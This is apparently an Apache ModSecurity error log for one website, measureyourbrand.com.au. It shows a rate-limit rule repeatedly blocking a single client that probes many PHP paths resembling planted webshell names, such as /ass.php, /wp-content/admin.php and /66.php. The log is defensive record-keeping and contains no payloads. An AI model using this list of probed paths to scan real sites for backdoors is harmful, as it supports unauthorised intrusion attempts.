[Sat Apr 18 05:33:54.186666 2026] [:error] [pid 9865:tid 9960] [client 4.235.105.111:3176] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeKnQqzb5knECIY-C-icuQAAAJc"]
[Sat Apr 18 05:33:55.098645 2026] [:error] [pid 9970:tid 9993] [client 4.235.105.111:42170] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeKnQyYdRLRhVmaIMx22zQAAANM"]
[Sat Apr 18 05:33:55.743942 2026] [:error] [pid 9865:tid 9950] [client 4.235.105.111:42129] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeKnQ6zb5knECIY-C-icuwAAAI0"]
[Sat Apr 18 05:33:56.528678 2026] [:error] [pid 9865:tid 9941] [client 4.235.105.111:27706] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeKnRKzb5knECIY-C-icwQAAAIQ"]
[Sat Apr 18 05:33:57.399154 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:26114] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeKnRSYdRLRhVmaIMx222AAAAM4"]
[Sat Apr 18 05:33:58.202446 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:26680] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeKnRqzb5knECIY-C-icyQAAAJg"]
[Sat Apr 18 05:33:58.794708 2026] [:error] [pid 9864:tid 9929] [client 4.235.105.111:3178] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeKnRoCFeowknfXHM7ksSwAAAFc"]
[Sat Apr 18 05:33:59.964823 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:27679] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeKnRyYdRLRhVmaIMx224gAAANc"]
[Sat Apr 18 05:34:01.951990 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:24362] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeKnSSYdRLRhVmaIMx226gAAAMA"]
[Sat Apr 18 05:34:04.253470 2026] [:error] [pid 9865:tid 9947] [client 4.235.105.111:24394] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeKnTKzb5knECIY-C-ic2gAAAIo"]
[Sat Apr 18 05:34:06.177749 2026] [:error] [pid 9863:tid 9890] [client 4.235.105.111:36441] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeKnTjjjiypiFrTucbIFXwAAABE"]
[Sat Apr 18 05:34:08.996088 2026] [:error] [pid 9865:tid 9949] [client 4.235.105.111:26139] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeKnUKzb5knECIY-C-ic5wAAAIw"]
[Sat Apr 18 05:34:11.876106 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:25056] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeKnU6zb5knECIY-C-ic7QAAAJg"]
[Sat Apr 18 05:34:13.221288 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:47697] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeKnVSYdRLRhVmaIMx23CAAAANI"]
[Sat Apr 18 05:34:14.849167 2026] [:error] [pid 9970:tid 9993] [client 4.235.105.111:24434] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeKnViYdRLRhVmaIMx23DQAAANM"]
[Sat Apr 18 05:34:16.046824 2026] [:error] [pid 9865:tid 9953] [client 4.235.105.111:33890] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeKnWKzb5knECIY-C-ic-AAAAJA"]
[Sat Apr 18 05:34:16.936579 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:32935] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeKnWCYdRLRhVmaIMx23FAAAAMk"]
[Sat Apr 18 05:34:18.111987 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:47705] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeKnWiYdRLRhVmaIMx23GgAAAMo"]
[Sat Apr 18 05:34:27.314032 2026] [:error] [pid 9864:tid 9927] [client 4.235.105.111:47733] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKnY4CFeowknfXHM7ksjQAAAFU"]
[Sat Apr 18 05:34:28.104287 2026] [:error] [pid 9865:tid 9957] [client 4.235.105.111:31502] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKnZKzb5knECIY-C-idIgAAAJQ"]
[Sat Apr 18 05:34:29.241380 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:26379] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKnZSYdRLRhVmaIMx23SwAAANc"]
[Sat Apr 18 05:34:30.073747 2026] [:error] [pid 9865:tid 9948] [client 4.235.105.111:33912] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKnZqzb5knECIY-C-idKQAAAIs"]
[Sat Apr 18 05:34:31.174800 2026] [:error] [pid 9865:tid 9960] [client 4.235.105.111:47025] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeKnZ6zb5knECIY-C-idLgAAAJc"]
[Sat Apr 18 05:34:32.195635 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:29544] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeKnaCYdRLRhVmaIMx23UQAAANg"]
[Sat Apr 18 05:34:33.210505 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:26411] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeKnaSYdRLRhVmaIMx23WwAAAMU"]
[Sat Apr 18 05:34:34.152953 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:33869] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeKnaiYdRLRhVmaIMx23YQAAANg"]
[Sat Apr 18 05:34:34.992096 2026] [:error] [pid 9970:tid 9986] [client 4.235.105.111:31527] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeKnaiYdRLRhVmaIMx23YwAAAMw"]
[Sat Apr 18 05:34:35.701781 2026] [:error] [pid 9970:tid 9996] [client 4.235.105.111:26204] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeKnayYdRLRhVmaIMx23ZAAAANY"]
[Sat Apr 18 05:34:36.598864 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:44244] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeKnbCYdRLRhVmaIMx23agAAAMM"]
[Sat Apr 18 05:34:37.235848 2026] [:error] [pid 9863:tid 9883] [client 4.235.105.111:3771] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeKnbTjjiypiFrTucbIFhAAAAAo"]
[Sat Apr 18 05:34:37.805868 2026] [:error] [pid 9865:tid 9941] [client 4.235.105.111:47020] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeKnbazb5knECIY-C-idNQAAAIQ"]
[Sat Apr 18 05:34:38.529981 2026] [:error] [pid 9863:tid 9893] [client 4.235.105.111:29552] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeKnbjjjiypiFrTucbIFhQAAABQ"]
[Sat Apr 18 05:34:39.129556 2026] [:error] [pid 9863:tid 9879] [client 4.235.105.111:47308] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeKnbzjjiypiFrTucbIFhgAAAAY"]
[Sat Apr 18 05:34:39.779399 2026] [:error] [pid 9863:tid 9891] [client 4.235.105.111:46979] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeKnbzjjiypiFrTucbIFiQAAABI"]
[Sat Apr 18 05:34:40.373320 2026] [:error] [pid 9863:tid 9876] [client 4.235.105.111:47002] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeKncDjjiypiFrTucbIFjQAAAAM"]
[Sat Apr 18 05:34:41.187745 2026] [:error] [pid 9863:tid 9889] [client 4.235.105.111:25610] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeKncTjjiypiFrTucbIFkAAAABA"]
[Sat Apr 18 05:34:42.336430 2026] [:error] [pid 9865:tid 9939] [client 4.235.105.111:36738] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeKncqzb5knECIY-C-idPwAAAII"]
[Sat Apr 18 05:34:43.361298 2026] [:error] [pid 9864:tid 9913] [client 4.235.105.111:29524] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeKnc4CFeowknfXHM7ksogAAAEc"]
[Sat Apr 18 05:34:44.534468 2026] [:error] [pid 9865:tid 9960] [client 4.235.105.111:39046] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeKndKzb5knECIY-C-idQwAAAJc"]
[Sat Apr 18 05:34:45.869028 2026] [:error] [pid 9863:tid 9886] [client 4.235.105.111:44229] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeKndTjjiypiFrTucbIFmgAAAA0"]
[Sat Apr 18 05:34:47.467029 2026] [:error] [pid 9864:tid 9915] [client 4.235.105.111:47006] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeKnd4CFeowknfXHM7ksrQAAAEk"]
[Sat Apr 18 05:34:49.236948 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:29561] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeKneSYdRLRhVmaIMx23dQAAAM4"]
[Sat Apr 18 05:34:52.065183 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:26390] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKnfCYdRLRhVmaIMx23gwAAAMY"]
[Sat Apr 18 05:34:53.581933 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:25627] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKnfSYdRLRhVmaIMx23hQAAANc"]
[Sat Apr 18 05:34:55.789371 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:29550] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKnfyYdRLRhVmaIMx23kQAAAMk"]
[Sat Apr 18 05:34:57.505816 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:25637] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeKngSYdRLRhVmaIMx23lgAAAMY"]
[Sat Apr 18 05:34:58.335311 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:29549] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeKngiYdRLRhVmaIMx23mwAAANc"]
[Sat Apr 18 05:34:59.347577 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:25609] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeKngyYdRLRhVmaIMx23ogAAANA"]
[Sat Apr 18 05:35:00.205140 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:36185] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeKnhCYdRLRhVmaIMx23pgAAANI"]
[Sat Apr 18 05:35:00.776615 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:46983] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeKnhCYdRLRhVmaIMx23qQAAAME"]
[Sat Apr 18 05:35:01.533850 2026] [:error] [pid 9865:tid 9955] [client 4.235.105.111:36184] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeKnhazb5knECIY-C-idXgAAAJI"]
[Sat Apr 18 05:35:02.175854 2026] [:error] [pid 9864:tid 9918] [client 4.235.105.111:25113] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeKnhoCFeowknfXHM7ksugAAAEw"]
[Sat Apr 18 05:35:02.710807 2026] [:error] [pid 9864:tid 9923] [client 4.235.105.111:3642] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeKnhoCFeowknfXHM7ksvAAAAFE"]
[Sat Apr 18 05:35:03.286605 2026] [:error] [pid 9970:tid 9991] [client 4.235.105.111:25446] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeKnhyYdRLRhVmaIMx23sAAAANE"]
[Sat Apr 18 05:35:03.876435 2026] [:error] [pid 9863:tid 9897] [client 4.235.105.111:4042] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKnhzjjiypiFrTucbIFvAAAABg"]
[Sat Apr 18 05:35:04.417346 2026] [:error] [pid 9863:tid 9893] [client 4.235.105.111:36190] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKniDjjiypiFrTucbIFvwAAABQ"]
